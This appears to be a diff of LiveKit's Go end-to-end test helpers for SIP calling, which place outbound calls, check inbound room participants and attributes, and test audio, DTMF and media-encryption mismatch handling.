<-ctx.Done(): - return ctx.Err() - case <-time.After(params.RingFor): - } - } - - t.Logf("+%.3fs: Connecting local audio to inbound room: %s", secSince(start), roomIn) - pIn := lkIn.ConnectParticipant(t, roomIn, identityTest, &RoomParticipantCallback{ - RoomCallback: lksdk.RoomCallback{ - ParticipantCallback: lksdk.ParticipantCallback{ - OnDataPacket: func(data lksdk.DataPacket, _ lksdk.DataReceiveParams) { - select { - case dataIn <- data: - default: - } - }, - }, - OnParticipantConnected: func(rp *lksdk.RemoteParticipant) { - t.Logf("+%.3fs: Inbound participant connected: %s", secSince(start), rp.Identity()) - if rp.Identity() != identityTest { - inIDs.PatricipantID = rp.SID() - attrs := rp.Attributes() - if attrs != nil { - inIDs.CallID = attrs[livekit.AttrSIPCallID] - } - } - }, - OnParticipantDisconnected: func(rp *lksdk.RemoteParticipant) { - t.Logf("+%.3fs: Inbound participant disconnected: %s", secSince(start), rp.Identity()) - if rp.Identity() != identityTest { - select { - case inClosed <- struct{}{}: - default: - } - } - }, - }, - }) - - if reqOut.MediaEncryption == livekit.SIPMediaEncryption_SIP_MEDIA_ENCRYPT_REQUIRE && trIn.MediaEncryption == livekit.SIPMediaEncryption_SIP_MEDIA_ENCRYPT_DISABLE { - // FIXME - // We should be able to reject calls immediately when the SDP mismatches (on the inbound call), - // but today this is delayed until after attempting to answer the call. - // At this point both calls should be dead or dying. Verify. - t.Logf("+%.3fs: Expecting call failure due to cryptography requirement mismatch", secSince(start)) - subCtx, cancel = context.WithTimeout(ctx, 30*time.Second) - defer cancel() - select { - case <-outClosed: - case <-subCtx.Done(): - t.Fatal("outbound participant did not disconnect") - } - select { - case <-inClosed: - case <-subCtx.Done(): - t.Fatal("inbound participant did not disconnect") - } - return nil // Success! - } - - t.Logf("+%.3fs: Make sure outbound call is ready", secSince(start)) - select { - case <-outboundCallReady: - case <-ctx.Done(): - t.Fatal("outbound call did not become ready") - } - - t.Logf("+%.3fs: Asserting outbound room", secSince(start)) - expAttrsOut := map[string]string{ - livekit.AttrSIPCallID: outIDs.CallID, - livekit.AttrSIPPrefix + "callTag": AttrTestAny, - livekit.AttrSIPPrefix + "callIDFull": AttrTestAny, - livekit.AttrSIPPrefix + "callStatus": "active", - livekit.AttrSIPPrefix + "phoneNumber": req.SipCallTo, - } - subCtx, cancel = context.WithTimeout(ctx, 30*time.Second) // Changes take about ~5-15 seconds to propagate - defer cancel() - lkOut.ExpectRoomWithParticipants(t, subCtx, roomOut, []ParticipantInfo{ - {Identity: identityTest, Kind: livekit.ParticipantInfo_STANDARD}, - {Identity: outIdentity, Name: outName, Kind: livekit.ParticipantInfo_SIP, Metadata: outMeta, Attributes: expAttrsOut}, - }) - - t.Logf("+%.3fs: Asserting inbound room", secSince(start)) - inName := "Phone " + req.SipNumber - expAttrsIn := map[string]string{ - livekit.AttrSIPPrefix + "callTag": AttrTestAny, - livekit.AttrSIPPrefix + "callIDFull": AttrTestAny, - livekit.AttrSIPPrefix + "callStatus": "active", - livekit.AttrSIPPrefix + "trunkPhoneNumber": req.SipCallTo, - livekit.AttrSIPPrefix + "phoneNumber": req.SipNumber, - livekit.AttrSIPPrefix + "trunkID": trIn.SipTrunkId, - livekit.AttrSIPPrefix + "ruleID": ruleIn.SipDispatchRuleId, - } - subCtx, cancel = context.WithTimeout(ctx, 30*time.Second) // Changes take about ~5-15 seconds to propagate - defer cancel() - lkIn.ExpectRoomWithParticipants(t, subCtx, roomIn, []ParticipantInfo{ - {Identity: identityTest, Kind: livekit.ParticipantInfo_STANDARD}, - {Identity: inIdentity, Name: inName, Kind: livekit.ParticipantInfo_SIP, Metadata: ruleIn.Metadata, Attributes: expAttrsIn}, - }) - - t.Logf("+%.3fs: testing audio", secSince(start)) - CheckAudioForParticipants(t, ctx, pOut, pIn) - - t.Logf("+%.3fs: testing dtmf", secSince(start)) - CheckDTMFForParticipants(t, ctx, pOut, pIn, dataOut, dataIn) - - t.Logf("+%.3fs: retesting audio", secSince(start)) - CheckAudioForParticipants(t, ctx, pOut, pIn) - - return nil -} - -func getRoomFromDirectRule(ctx context.Context, lk *LiveKit, rule *livekit.SIPDispatchRuleInfo, req *livekit.CreateSIPParticipantRequest) (string, error) { - directRule, ok := rule.Rule.Rule.(*livekit.SIPDispatchRule_DispatchRuleDirect) - if !ok { - return "", fmt.Errorf("invalid rule type type %T", rule.Rule.Rule) - } - return directRule.DispatchRuleDirect.RoomName, nil -} - -func getRoomFromIndividualRule(ctx context.Context, lk *LiveKit, rule *livekit.SIPDispatchRuleInfo, req *livekit.CreateSIPParticipantRequest) (string, error) { - indvRule, ok := rule.Rule.Rule.(*livekit.SIPDispatchRule_DispatchRuleIndividual) - if !ok { - return "", fmt.Errorf("invalid rule type type %T", rule.Rule.Rule) - } - inboundRoomPrefix := indvRule.DispatchRuleIndividual.RoomPrefix + "_" + req.SipNumber + "_" - - select { - case <-ctx.Done(): - return "", ctx.Err() - default: - } - - const pollInterval = 250 * time.Millisecond - for { - resp, err := lk.Rooms.ListRooms(ctx, &livekit.ListRoomsRequest{}) - if err != nil { - return "", err - } - for _, room := range resp.Rooms { - if strings.HasPrefix(room.Name, inboundRoomPrefix) { - return room.Name, nil - } - } - select { - case <-ctx.Done(): - return "", ctx.Err() - case <-time.After(pollInterval): - } - } -} +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package lktest + +import ( + "context" + "fmt" + "maps" + "slices" + "strings" + "sync" + "sync/atomic" + "time" + + "github.com/stretchr/testify/require" + + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/utils/guid" + lksdk "github.com/livekit/server-sdk-go/v2" +) + +const AttrTestAny = "" + +func checkSIPAttrs(t TB, exp, got map[string]string) (_, _ map[string]string) { + exp, got = maps.Clone(exp), maps.Clone(got) + + var keepKeys []string + for _, a := range []string{ + livekit.AttrSIPCallID, + livekit.AttrSIPPrefix + "callIDFull", + livekit.AttrSIPPrefix + "callTag", + } { + expVal, ok := exp[a] + if !ok { + continue + } + v, ok := got[a] + if !ok { + // let the caller fail + keepKeys = append(keepKeys, a) + continue + } + require.True(t, ok, "missing attribute %q", a) + require.NotEmpty(t, v, "empty attribute %q", a) + switch a { + case livekit.AttrSIPCallID: + require.True(t, strings.HasPrefix(v, guid.SIPCallPrefix)) + } + if expVal != "" && expVal != AttrTestAny { + require.Equal(t, expVal, v) + } + delete(exp, a) + delete(got, a) + } + // remove extra attributes from comparison + for key := range got { + if slices.Contains(keepKeys, key) { + continue + } + if _, ok := exp[key]; !ok { + delete(got, key) + } + } + return exp, got +} + +type SIPOutboundTestParams struct { + TrunkOut string // trunk ID for outbound call + NumberOut string // number for outbound call (LK phone numbers) + RoomOut string // room for outbound call + AttrsOut map[string]string // expected attributes for outbound participants + HeadersOut map[string]string // headers for outbound call + NumberIn string // number for inbound call (LK phone numbers) + NumberInExp string // expected inbound number, as seen in the inbound call + TrunkIn string // trunk ID for inbound call + RuleIn string // rule ID for inbound call + AttrsIn map[string]string // expected attributes for inbound participants + NoDMTF bool // do not test DTMF +} + +func loadVal[T any](ptr *atomic.Pointer[T]) T { + p := ptr.Load() + if p == nil { + var zero T + return zero + } + return *p +} + +func TestSIPOutbound(t TB, ctx context.Context, lkOut, lkIn *LiveKit, params SIPOutboundTestParams) { + start := time.Now() + defer t.Logf("+%.3fs: TestSIPOutbound took", secSince(start)) + + t.Logf("+%.3fs: getting trunk info", secSince(start)) + + numOut := params.NumberOut + if numOut == "" { + trsOut, err := lkOut.SIP.GetSIPOutboundTrunksByIDs(ctx, []string{params.TrunkOut}) + require.NoError(t, err) + trOut := trsOut[0] + require.NotNil(t, trOut, "trunk not found") + require.NotEmpty(t, trOut.Numbers, "no trunk numbers for outbound") + numOut = trOut.Numbers[0] + t.Logf("+%.3fs: using outbound trunk %q (%s, num: %s)", secSince(start), trOut.Name, trOut.SipTrunkId, numOut) + } else { + t.Logf("+%.3fs: using outbound number %q", secSince(start), numOut) + } + + numIn := params.NumberIn + if numIn == "" { + trsIn, err := lkIn.SIP.GetSIPInboundTrunksByIDs(ctx, []string{params.TrunkIn}) + require.NoError(t, err) + trIn := trsIn[0] + require.NotNil(t, trIn, "trunk not found") + require.NotEmpty(t, trIn.Numbers, "no trunk numbers for inbound") + numIn = trIn.Numbers[0] + t.Logf("+%.3fs: using inbound trunk %q (%s, num: %s)", secSince(start), trIn.Name, trIn.SipTrunkId, numIn) + } else { + t.Logf("+%.3fs: using inbound number %q (%s)", secSince(start), numIn, params.TrunkIn) + } + + rulesIn, err := lkIn.SIP.GetSIPDispatchRulesByIDs(ctx, []string{params.RuleIn}) + require.NoError(t, err) + ruleIn := rulesIn[0] + require.NotNil(t, ruleIn, "rule not found") + if params.NumberIn == "" { + require.True(t, len(ruleIn.TrunkIds) == 0 || slices.Contains(ruleIn.TrunkIds, params.TrunkIn), "selected rule doesn't match the trunk") + } else { + require.True(t, len(ruleIn.TrunkIds) > 0 && slices.Contains(ruleIn.TrunkIds, params.TrunkIn), "selected rule doesn't have a number associated with it") + } + ruleDir, ok := ruleIn.Rule.Rule.(*livekit.SIPDispatchRule_DispatchRuleDirect) + require.True(t, ok, "unsupported dispatch rule type %T", ruleIn.Rule.Rule) + rule := ruleDir.DispatchRuleDirect + roomIn := rule.RoomName + roomPin := rule.Pin + if roomPin != "" { + roomPin = "ww" + roomPin + "#" + } + t.Logf("+%.3fs: using dispatch rule %q (%s, room: %s)", secSince(start), ruleIn.Name, ruleIn.SipDispatchRuleId, roomIn) + + const ( + outIdentity = "siptest_outbound" + outName = "Outbound Call" + outMeta = `{"test":true, "dir": "out"}` + ) + var ( + inIdentity = "sip_" + numOut + inName = "Phone " + numOut + ) + // Make sure we remove rooms when the test ends. + // Some tests may reuse LK server, in which case the participants could stay in rooms for a long time. + t.Cleanup(func() { + _, _ = lkOut.Rooms.DeleteRoom(context.Background(), &livekit.DeleteRoomRequest{Room: params.RoomOut}) + _, _ = lkIn.Rooms.DeleteRoom(context.Background(), &livekit.DeleteRoomRequest{Room: roomIn}) + }) + // Make sure we delete inbound SIP participant. Outbound is deleted automatically by CreateSIPParticipant. + t.Cleanup(func() { + _, _ = lkIn.Rooms.RemoveParticipant(context.Background(), &livekit.RoomParticipantIdentity{ + Room: roomIn, Identity: inIdentity, + }) + }) + + const ( + identityTest = "test_probe" + ) + + var ( + dataOut = make(chan lksdk.DataPacket, 20) + dataIn = make(chan lksdk.DataPacket, 20) + callIDOut atomic.Pointer[string] + callIDIn atomic.Pointer[string] + statusOut atomic.Pointer[string] + statusIn atomic.Pointer[string] + connected atomic.Bool + ) + defer func() { + if !t.Failed() { + return + } + idIn := loadVal(&callIDIn) + idOut := loadVal(&callIDOut) + // Try explaining the test result. + if connected.Load() { + t.Errorf(`SIP connected, but media tests failed. + +Check logs for calls: +@callID:%s (outbound) +@callID:%s (inbound) + +Possible causes: +- Media ports are closed +- SDP negotiation failed +- DTMF failed`, + idOut, idIn, + ) + return + } + if idIn != "" && idOut != "" { + t.Errorf(`SIP participants connected, but participant info check failed. + +Check logs for calls: +@callID:%s (outbound, last state: %q) +@callID:%s (inbound, last state: %q)`, + idOut, loadVal(&statusOut), + idIn, loadVal(&statusIn), + ) + } else if idOut != "" { + t.Errorf(`Outbound call connected, but no inbound calls were received. + +Check logs for call: +@callID:%s (outbound, last state: %q) + +And search for dropped call for numbers: +@fromUser:%s (from) +@toUser:%s (to) + +Possible causes: +- Signaling is broken +- Signaling port is closed +- Signaling IP / Contact / Via are incorrect +- Password authentication failed`, + + idOut, loadVal(&statusOut), + numOut, numIn, + ) + } else { + t.Errorf(`Outbound call did not connect. + +Check logs for call: +@callID:%s (outbound, last state: %q)`, + + idOut, loadVal(&statusOut), + ) + } + }() + + // LK participants that will generate/listen for audio. + t.Logf("+%.3fs: connecting test participants", secSince(start)) + var ( + pOut *Participant + pIn *Participant + readyOut sync.WaitGroup + readyIn sync.WaitGroup + ) + readyOut.Add(1) + readyIn.Add(1) + go func() { + defer readyOut.Done() + pOut = lkOut.ConnectParticipant(t, params.RoomOut, identityTest, &RoomParticipantCallback{ + RoomCallback: lksdk.RoomCallback{ + ParticipantCallback: lksdk.ParticipantCallback{ + OnDataPacket: func(data lksdk.DataPacket, params lksdk.DataReceiveParams) { + select { + case dataOut <- data: + default: + } + }, + }, + }, + OnSIPStatus: func(p *lksdk.RemoteParticipant, callID string, status string) { + callIDOut.Store(&callID) + t.Logf("+%.3fs: sip outbound call %s (%s) status %v", secSince(start), callID, p.Identity(), status) + }, + }) + t.Logf("+%.3fs: outbound participant connected", secSince(start)) + }() + go func() { + defer readyIn.Done() + pIn = lkIn.ConnectParticipant(t, roomIn, identityTest, &RoomParticipantCallback{ + RoomCallback: lksdk.RoomCallback{ + ParticipantCallback: lksdk.ParticipantCallback{ + OnDataPacket: func(data lksdk.DataPacket, params lksdk.DataReceiveParams) { + select { + case dataIn <- data: + default: + } + }, + }, + }, + OnSIPStatus: func(p *lksdk.RemoteParticipant, callID string, status string) { + callIDIn.Store(&callID) + statusIn.Store(&status) + t.Logf("+%.3fs: sip inbound call %s (%s) status %v", secSince(start), callID, p.Identity(), status) + }, + }) + t.Logf("+%.3fs: inbound participant connected", secSince(start)) + }() + + // Start the outbound call. It should hit Trunk Provider and initiate an inbound call back to the second server. + t.Logf("+%.3fs: creating sip participant", secSince(start)) + r := lkOut.CreateSIPParticipant(t, &livekit.CreateSIPParticipantRequest{ + SipTrunkId: params.TrunkOut, + SipNumber: params.NumberOut, + SipCallTo: numIn, + RoomName: params.RoomOut, + ParticipantIdentity: outIdentity, + ParticipantName: outName, + ParticipantMetadata: outMeta, + Dtmf: roomPin, + Headers: params.HeadersOut, + }) + t.Logf("+%.3fs: outbound call ID: %s", secSince(start), r.SipCallId) + + t.Logf("+%.3fs: waiting for outbound participant to become ready", secSince(start)) + readyOut.Wait() + + t.Logf("+%.3fs: asserting outbound room", secSince(start)) + expAttrsOut := map[string]string{ + "sip.callID": r.SipCallId, // special case + "sip.callTag": AttrTestAny, // special case + "sip.callIDFull": AttrTestAny, // special case + "sip.callStatus": "active", + "sip.trunkPhoneNumber": numOut, + "sip.phoneNumber": numIn, + } + if params.TrunkOut != "" { + expAttrsOut["sip.trunkID"] = params.TrunkOut + } + for k, v := range params.AttrsOut { + expAttrsOut[k] = v + } + lkOut.ExpectRoomWithParticipants(t, ctx, params.RoomOut, []ParticipantInfo{ + {Identity: identityTest, Kind: livekit.ParticipantInfo_STANDARD}, + { + Identity: outIdentity, + Name: outName, + Kind: livekit.ParticipantInfo_SIP, + Metadata: outMeta, + Attributes: expAttrsOut, + }, + }) + + t.Logf("+%.3fs: waiting for inbound participant to become ready", secSince(start)) + readyIn.Wait() + + t.Logf("+%.3fs: asserting outbound room", secSince(start)) + numInExp := numIn + if params.NumberInExp != "" { + numInExp = params.NumberInExp + } + expAttrsIn := map[string]string{ + "sip.callID": AttrTestAny, // special case + "sip.callTag": AttrTestAny, // special case + "sip.callIDFull": AttrTestAny, // special case + "sip.callStatus": "active", + "sip.trunkPhoneNumber": numInExp, + "sip.phoneNumber": numOut, + "sip.trunkID": params.TrunkIn, + "sip.ruleID": params.RuleIn, + } + for k, v := range params.AttrsIn { + expAttrsIn[k] = v + } + lkIn.ExpectRoomWithParticipants(t, ctx, roomIn, []ParticipantInfo{ + {Identity: identityTest, Kind: livekit.ParticipantInfo_STANDARD}, + { + Identity: inIdentity, + Name: inName, + Kind: livekit.ParticipantInfo_SIP, + Metadata: ruleIn.Metadata, + Attributes: expAttrsIn, + }, + }) + + connected.Store(true) + + t.Logf("+%.3fs: testing audio", secSince(start)) + CheckAudioForParticipants(t, ctx, pOut, pIn) + if !params.NoDMTF { + t.Logf("+%.3fs: testing dtmf", secSince(start)) + CheckDTMFForParticipants(t, ctx, pOut, pIn, dataOut, dataIn) + + t.Logf("+%.3fs: retesting audio", secSince(start)) + CheckAudioForParticipants(t, ctx, pOut, pIn) + } +} + +type SIPOutboundRequestTestIDs struct { + CallID string + PatricipantID string + RoomName string + TrunkID string + Location string +} + +func (ids *SIPOutboundRequestTestIDs) SetFromCreateSIPParticipantResponse(resp *livekit.SIPParticipantInfo) { + if resp == nil { + return + } + ids.CallID = resp.SipCallId + ids.PatricipantID = resp.ParticipantId + ids.RoomName = resp.RoomName +} + +func (ids *SIPOutboundRequestTestIDs) GetValues() []string { + return []string{ + "callID: " + ids.CallID, + "patricipantID: " + ids.PatricipantID, + "roomName: " + ids.RoomName, + "trunkID: " + ids.TrunkID, + "location: " + ids.Location, + } +} + +func getInboundTrunksByNumbers(ctx context.Context, lkIn *LiveKit, numbers []string) ([]*livekit.SIPInboundTrunkInfo, error) { + trsIn, err := lkIn.SIP.ListSIPInboundTrunk(ctx, &livekit.ListSIPInboundTrunkRequest{ + Numbers: numbers, + }) + if err != nil { + return nil, err + } + if len(trsIn.Items) == 0 { + return nil, fmt.Errorf("no trunks found for numbers: %v", numbers) + } + return trsIn.Items, nil +} + +func getDispatchRulesByTrunks(ctx context.Context, lkIn *LiveKit, trunks []*livekit.SIPInboundTrunkInfo) ([]*livekit.SIPDispatchRuleInfo, error) { + ids := make([]string, len(trunks)) + for i, tr := range trunks { + ids[i] = tr.SipTrunkId + } + resp, err := lkIn.SIP.ListSIPDispatchRule(ctx, &livekit.ListSIPDispatchRuleRequest{ + TrunkIds: ids, + }) + if err != nil { + return nil, err + } + if resp == nil || len(resp.Items) == 0 { + return nil, fmt.Errorf("no dispatch rules found for trunks: %v", ids) + } + return resp.Items, nil +} + +type roomIDFunc func(ctx context.Context, lk *LiveKit, rule *livekit.SIPDispatchRuleInfo, req *livekit.CreateSIPParticipantRequest) (string, error) + +func secSince(start time.Time) float64 { + return time.Since(start).Seconds() +} + +type TestCreateSipParticipantParams struct { + RingFor time.Duration +} + +func TestCreateSipParticipant(t TB, ctx context.Context, lkOut, lkIn *LiveKit, req *livekit.CreateSIPParticipantRequest, params TestCreateSipParticipantParams) error { + start := time.Now() + inIDs := SIPOutboundRequestTestIDs{} + outIDs := SIPOutboundRequestTestIDs{} + defer func() { + t.Logf("Onbound IDs: %v", outIDs.GetValues()) + t.Logf("Inbound IDs: %v", inIDs.GetValues()) + }() + + require.Equal(t, "", req.SipTrunkId, "SipTrunkId must be empty") + require.NotNil(t, req.Trunk, "A trunk must be inlined") + outIDs.TrunkID = "inline" + require.NotEmpty(t, req.Trunk.DestinationCountry, "DestinationCountry must be set") + outIDs.Location = req.Trunk.DestinationCountry + require.NotEmpty(t, req.Trunk.Hostname, "Hostname must be set") + inIDs.Location = req.Trunk.Hostname + require.NotEmpty(t, req.SipCallTo, "SipCallTo must be set") + require.NotEmpty(t, req.RoomName, "RoomName must be set") + outIDs.RoomName = req.RoomName + outClosed := make(chan struct{}, 1) + inClosed := make(chan struct{}, 1) + + t.Logf("+%.3fs: Getting inbound trunk", secSince(start)) + trsIn, err := getInboundTrunksByNumbers(ctx, lkIn, []string{req.SipCallTo}) + if err != nil { + return err + } + trIn := trsIn[0] + inIDs.TrunkID = trIn.SipTrunkId + + t.Logf("+%.3fs: Getting dispatch rule", secSince(start)) + rulesIn, err := getDispatchRulesByTrunks(ctx, lkIn, trsIn) + if err != nil { + return err + } + ruleIn := rulesIn[0] + + t.Logf("+%.3fs: Getting room ID function", secSince(start)) + var getRoomID roomIDFunc + if _, ok := ruleIn.Rule.Rule.(*livekit.SIPDispatchRule_DispatchRuleIndividual); ok { + // Inbound room name is dynamic: e2e_{SipNumber}_{guid}. SipNumber is unique per test, so we + // create the outbound call first, then poll for a room whose name has prefix "e2e_"+SipNumber+"_". + getRoomID = getRoomFromIndividualRule + } else if _, ok := ruleIn.Rule.Rule.(*livekit.SIPDispatchRule_DispatchRuleDirect); ok { + // Inbound room name is fixed. Just return the name. + getRoomID = getRoomFromDirectRule + require.False(t, ok, "Using direct rule does not support concurrent tests") + } + if getRoomID == nil { + return fmt.Errorf("unsupported dispatch rule type %T", ruleIn.Rule.Rule) + } + + t.Logf("+%.3fs: Connecting local outbound participant", secSince(start)) + roomOut := req.RoomName + const identityTest = "test_probe" + dataOut := make(chan lksdk.DataPacket, 20) + dataIn := make(chan lksdk.DataPacket, 20) + pOut := lkOut.ConnectParticipant(t, roomOut, identityTest, &RoomParticipantCallback{ + RoomCallback: lksdk.RoomCallback{ + ParticipantCallback: lksdk.ParticipantCallback{ + OnDataPacket: func(data lksdk.DataPacket, _ lksdk.DataReceiveParams) { + select { + case dataOut <- data: + default: + } + }, + }, + OnParticipantDisconnected: func(rp *lksdk.RemoteParticipant) { + t.Logf("+%.3fs: Outbound participant disconnected: %s", secSince(start), rp.Identity()) + if rp.Identity() != identityTest { + select { + case outClosed <- struct{}{}: + default: + } + } + }, + }, + }) + t.Cleanup(func() { + _, _ = lkOut.Rooms.DeleteRoom(context.Background(), &livekit.DeleteRoomRequest{Room: roomOut}) + }) + + t.Logf("+%.3fs: Connecting outbound call", secSince(start)) + reqOut := &livekit.CreateSIPParticipantRequest{ + Trunk: req.Trunk, + SipCallTo: req.SipCallTo, + SipNumber: req.SipNumber, + RoomName: req.RoomName, + MediaEncryption: req.MediaEncryption, + } + const outIdentity = "siptest_outbound" + const outName = "Outbound Call" + const outMeta = `{"test":true, "dir": "out"}` + reqOut.ParticipantIdentity = outIdentity + reqOut.ParticipantName = outName + reqOut.ParticipantMetadata = outMeta + + if reqOut.MediaEncryption == livekit.SIPMediaEncryption_SIP_MEDIA_ENCRYPT_DISABLE && trIn.MediaEncryption == livekit.SIPMediaEncryption_SIP_MEDIA_ENCRYPT_REQUIRE { + // CreateSipParticipant request disables encryption, that is required by trunk + reqOut.WaitUntilAnswered = true // We expect this to get rejected + ctx, cancel := context.WithTimeout(ctx, 30*time.Second) + defer cancel() + resp, err := lkOut.SIP.CreateSIPParticipant(ctx, reqOut) + outIDs.SetFromCreateSIPParticipantResponse(resp) + if err == nil { + _, _ = lkOut.Rooms.RemoveParticipant(context.Background(), &livekit.RoomParticipantIdentity{ + Room: reqOut.RoomName, Identity: resp.ParticipantIdentity, + }) + t.Fatal("CreateSIPParticipant should have failed") + } + sipStatus := lksdk.SIPStatusFrom(err) + require.NotNil(t, sipStatus, "Expected SIP status error, got %v", err) + require.Contains(t, []livekit.SIPStatusCode{ + livekit.SIPStatusCode_SIP_STATUS_INTERNAL_SERVER_ERROR, + livekit.SIPStatusCode_SIP_STATUS_BAD_REQUEST, + }, sipStatus.Code) + return nil // Success! + } + + // CreateSIPParticipant triggers inbound call and dynamic room creation + // It onlly needs to run in a goroutine if waitForAnswered is true, but we like consistency. + outboundCallReady := make(chan struct{}, 1) + go func() { + defer close(outboundCallReady) + r := lkOut.CreateSIPParticipant(t, reqOut) // Also adds cleanup! + outIDs.SetFromCreateSIPParticipantResponse(r) + }() + + t.Logf("+%.3fs: Waiting for inbound call to create inbound room", secSince(start)) + subCtx, cancel := context.WithTimeout(ctx, 30*time.Second) + defer cancel() + roomIn, err := getRoomID(subCtx, lkIn, ruleIn, reqOut) // Takes about 5-15 seconds to propagate + if err != nil || roomIn == "" { + return fmt.Errorf("failed to find inbound room: %w", err) + } + inIDs.RoomName = roomIn + t.Cleanup(func() { + _, _ = lkIn.Rooms.DeleteRoom(context.Background(), &livekit.DeleteRoomRequest{Room: roomIn}) + }) + + inIdentity := "sip_" + req.SipNumber + t.Cleanup(func() { + _, _ = lkIn.Rooms.RemoveParticipant(context.Background(), &livekit.RoomParticipantIdentity{ + Room: roomIn, Identity: inIdentity, + }) + }) + + if params.RingFor > 0 { + // Keep in mind, it takes quite some time to run getRoomID + // That time is split between actual signal propagation and waiting for our APIs to catch up + // This ringing duration in added ON TOP of this extra time. + t.Logf("+%.3fs: delaying pickup time by %v", secSince(start), params.RingFor) + select { + case <-ctx.Done(): + return ctx.Err() + case <-time.After(params.RingFor): + } + } + + t.Logf("+%.3fs: Connecting local audio to inbound room: %s", secSince(start), roomIn) + pIn := lkIn.ConnectParticipant(t, roomIn, identityTest, &RoomParticipantCallback{ + RoomCallback: lksdk.RoomCallback{ + ParticipantCallback: lksdk.ParticipantCallback{ + OnDataPacket: func(data lksdk.DataPacket, _ lksdk.DataReceiveParams) { + select { + case dataIn <- data: + default: + } + }, + }, + OnParticipantConnected: func(rp *lksdk.RemoteParticipant) { + t.Logf("+%.3fs: Inbound participant connected: %s", secSince(start), rp.Identity()) + if rp.Identity() != identityTest { + inIDs.PatricipantID = rp.SID() + attrs := rp.Attributes() + if attrs != nil { + inIDs.CallID = attrs[livekit.AttrSIPCallID] + } + } + }, + OnParticipantDisconnected: func(rp *lksdk.RemoteParticipant) { + t.Logf("+%.3fs: Inbound participant disconnected: %s", secSince(start), rp.Identity()) + if rp.Identity() != identityTest { + select { + case inClosed <- struct{}{}: + default: + } + } + }, + }, + }) + + if reqOut.MediaEncryption == livekit.SIPMediaEncryption_SIP_MEDIA_ENCRYPT_REQUIRE && trIn.MediaEncryption == livekit.SIPMediaEncryption_SIP_MEDIA_ENCRYPT_DISABLE { + // FIXME + // We should be able to reject calls immediately when the SDP mismatches (on the inbound call), + // but today this is delayed until after attempting to answer the call. + // At this point both calls should be dead or dying. Verify. + t.Logf("+%.3fs: Expecting call failure due to cryptography requirement mismatch", secSince(start)) + subCtx, cancel = context.WithTimeout(ctx, 30*time.Second) + defer cancel() + select { + case <-outClosed: + case <-subCtx.Done(): + t.Fatal("outbound participant did not disconnect") + } + select { + case <-inClosed: + case <-subCtx.Done(): + t.Fatal("inbound participant did not disconnect") + } + return nil // Success! + } + + t.Logf("+%.3fs: Make sure outbound call is ready", secSince(start)) + select { + case <-outboundCallReady: + case <-ctx.Done(): + t.Fatal("outbound call did not become ready") + } + + t.Logf("+%.3fs: Asserting outbound room", secSince(start)) + expAttrsOut := map[string]string{ + livekit.AttrSIPCallID: outIDs.CallID, + livekit.AttrSIPPrefix + "callTag": AttrTestAny, + livekit.AttrSIPPrefix + "callIDFull": AttrTestAny, + livekit.AttrSIPPrefix + "callStatus": "active", + livekit.AttrSIPPrefix + "phoneNumber": req.SipCallTo, + } + subCtx, cancel = context.WithTimeout(ctx, 30*time.Second) // Changes take about ~5-15 seconds to propagate + defer cancel() + lkOut.ExpectRoomWithParticipants(t, subCtx, roomOut, []ParticipantInfo{ + {Identity: identityTest, Kind: livekit.ParticipantInfo_STANDARD}, + {Identity: outIdentity, Name: outName, Kind: livekit.ParticipantInfo_SIP, Metadata: outMeta, Attributes: expAttrsOut}, + }) + + t.Logf("+%.3fs: Asserting inbound room", secSince(start)) + inName := "Phone " + req.SipNumber + expAttrsIn := map[string]string{ + livekit.AttrSIPPrefix + "callTag": AttrTestAny, + livekit.AttrSIPPrefix + "callIDFull": AttrTestAny, + livekit.AttrSIPPrefix + "callStatus": "active", + livekit.AttrSIPPrefix + "trunkPhoneNumber": req.SipCallTo, + livekit.AttrSIPPrefix + "phoneNumber": req.SipNumber, + livekit.AttrSIPPrefix + "trunkID": trIn.SipTrunkId, + livekit.AttrSIPPrefix + "ruleID": ruleIn.SipDispatchRuleId, + } + subCtx, cancel = context.WithTimeout(ctx, 30*time.Second) // Changes take about ~5-15 seconds to propagate + defer cancel() + lkIn.ExpectRoomWithParticipants(t, subCtx, roomIn, []ParticipantInfo{ + {Identity: identityTest, Kind: livekit.ParticipantInfo_STANDARD}, + {Identity: inIdentity, Name: inName, Kind: livekit.ParticipantInfo_SIP, Metadata: ruleIn.Metadata, Attributes: expAttrsIn}, + }) + + t.Logf("+%.3fs: testing audio", secSince(start)) + CheckAudioForParticipants(t, ctx, pOut, pIn) + + t.Logf("+%.3fs: testing dtmf", secSince(start)) + CheckDTMFForParticipants(t, ctx, pOut, pIn, dataOut, dataIn) + + t.Logf("+%.3fs: retesting audio", secSince(start)) + CheckAudioForParticipants(t, ctx, pOut, pIn) + + return nil +} + +func getRoomFromDirectRule(ctx context.Context, lk *LiveKit, rule *livekit.SIPDispatchRuleInfo, req *livekit.CreateSIPParticipantRequest) (string, error) { + directRule, ok := rule.Rule.Rule.(*livekit.SIPDispatchRule_DispatchRuleDirect) + if !ok { + return "", fmt.Errorf("invalid rule type type %T", rule.Rule.Rule) + } + return directRule.DispatchRuleDirect.RoomName, nil +} + +func getRoomFromIndividualRule(ctx context.Context, lk *LiveKit, rule *livekit.SIPDispatchRuleInfo, req *livekit.CreateSIPParticipantRequest) (string, error) { + indvRule, ok := rule.Rule.Rule.(*livekit.SIPDispatchRule_DispatchRuleIndividual) + if !ok { + return "", fmt.Errorf("invalid rule type type %T", rule.Rule.Rule) + } + inboundRoomPrefix := indvRule.DispatchRuleIndividual.RoomPrefix + "_" + req.SipNumber + "_" + + select { + case <-ctx.Done(): + return "", ctx.Err() + default: + } + + const pollInterval = 250 * time.Millisecond + for { + resp, err := lk.Rooms.ListRooms(ctx, &livekit.ListRoomsRequest{}) + if err != nil { + return "", err + } + for _, room := range resp.Rooms { + if strings.HasPrefix(room.Name, inboundRoomPrefix) { + return room.Name, nil + } + } + select { + case <-ctx.Done(): + return "", ctx.Err() + case <-time.After(pollInterval): + } + } +}

